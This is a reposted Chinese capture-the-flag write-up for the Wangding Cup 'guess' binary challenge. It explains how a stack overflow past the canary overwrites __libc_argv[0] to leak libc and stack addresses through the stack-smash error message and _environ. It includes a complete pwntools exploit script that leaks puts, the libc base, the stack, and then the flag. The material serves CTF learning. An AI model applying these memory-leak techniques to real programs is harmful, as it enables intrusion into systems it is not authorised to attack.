网鼎杯-guess
Posted sketch_pl4ne
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网鼎杯-guess相关的知识,希望对你有一定的参考价值。
前言
通过这道题学习两个知识点:stack smash和_environ。
stack smash,在程序有canary的情况下,如果溢出会输出报错信息,这个报错信息保存在一个指针里面(&__libc_argv[0]),如果覆盖它为函数got表地址,报错的时候就输出函数真实地址。
_environ,libc里的一个环境指针,它指向栈地址。如果泄露出了libc地址,就可以获得_environ指针地址,也就可以泄露栈地址。
题目信息
没开PIE,GOT表可写。
程序有三次输入flag的机会,漏洞在于输入的地方,可以栈溢出。
漏洞利用
- 找到我们输入的位置(也就是s2)距离&__libc_argv[0]的偏移,栈溢出覆盖__libc_argv[0]为puts_got,泄露libc地址;
- 已知libc地址泄露栈地址用_environ,栈溢出覆盖__libc_argv[0]为libc_base+p64(libc.sym[\'_environ\']),泄露_environ栈地址;
- 计算_environ距离flag字符串的偏移,栈溢出泄露flag字符串。
EXP
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,\'\\0\'))
uu64 = lambda data :u64(data.ljust(8,\'\\0\'))
leak = lambda name,addr :log.success(\'{} = {:#x}\'.format(name, addr))
# context.log_level = \'DEBUG\'
context.terminal = [\'tmux\', \'splitw\', \'-h\']
binary = \'./guess\'
context.binary = binary
elf = ELF(binary,checksec=False)
def dbg(cmd=""):
gdb.attach(p,cmd)
def ret2libc(leak, func, path=\'\'):
if path == \'\':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump(\'system\')
binsh = base + libc.dump(\'str_bin_sh\')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym[\'system\']
binsh = base + libc.search(\'/bin/sh\').next()
return (system, binsh)
def pwn(argv):
global p
global libc
if(len(argv)==1):
p = process(binary)
libc = elf.libc
else:
ip, port = "1.2.3.4:5678".split(":")
p = remote(ip, port)
libc = ELF("./libc-2.27.so")
# leak libc
# user input to &__libc_argv[0] 0x128
sla("Please type your guessing flag","A"*0x128+p64(elf.got[\'puts\']))
ru(\': \')
puts_addr = uu64(r(6))
leak(\'puts\',puts_addr)
libc_base = puts_addr - libc.sym[\'puts\']
leak(\'libc_base\',libc_base)
# leak stack
environ_got = libc_base + libc.sym[\'_environ\']
sla("Please type your guessing flag","A"*0x128+p64(environ_got))
ru(\': \')
environ_addr = uu64(r(6))
leak(\'environ_addr\',environ_addr)
# leak flag
# environ_addr - flag = 0x168
sla("Please type your guessing flag","A"*0x128+p64(environ_addr-0x168))
# dbg()
itr()
if __name__ == "__main__":
pwn(sys.argv)
总结
已泄露libc地址,需要泄露栈地址,可以输出libc_base+p64(libc.sym[\'_enivron\']),它就在栈上。
以上是关于网鼎杯-guess的主要内容,如果未能解决你的问题,请参考以下文章
Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava[网鼎杯 2020 朱雀组]Think Java)
Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava[网鼎杯 2020 朱雀组]Think Java)